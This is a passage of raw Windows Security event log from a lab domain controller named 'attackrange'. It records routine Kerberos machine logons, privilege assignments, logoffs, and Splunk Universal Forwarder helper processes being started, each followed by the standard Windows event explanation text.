The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:07:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257079
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4A643E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:07:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257078
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4A6330
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		59352

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:07:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257077
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4A6330

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:07:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257090
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x510
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:07:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257089
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x590
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:07:21 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257092
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4A8A2F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		59358

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:07:21 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257091
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4A8A2F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:07:23 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257093
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4A6509

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:07:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257096
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4A9B3D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:07:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257095
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4A9B3D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		59367

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:07:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257094
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4A9B3D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:08:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257098
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x127c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:08:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257097
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4c8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:08:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257099
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe48
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:08:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257100
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1374
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:08:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257101
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xee8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:08:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257103
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xeb0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:08:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257102
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3e4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:08:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257106
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4AD167

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:08:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257105
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4AD167
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		59380

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:08:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257104
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4AD167

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:09:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257107
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4A8A2F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:09:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257109
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xde8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:09:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257108
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4fc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
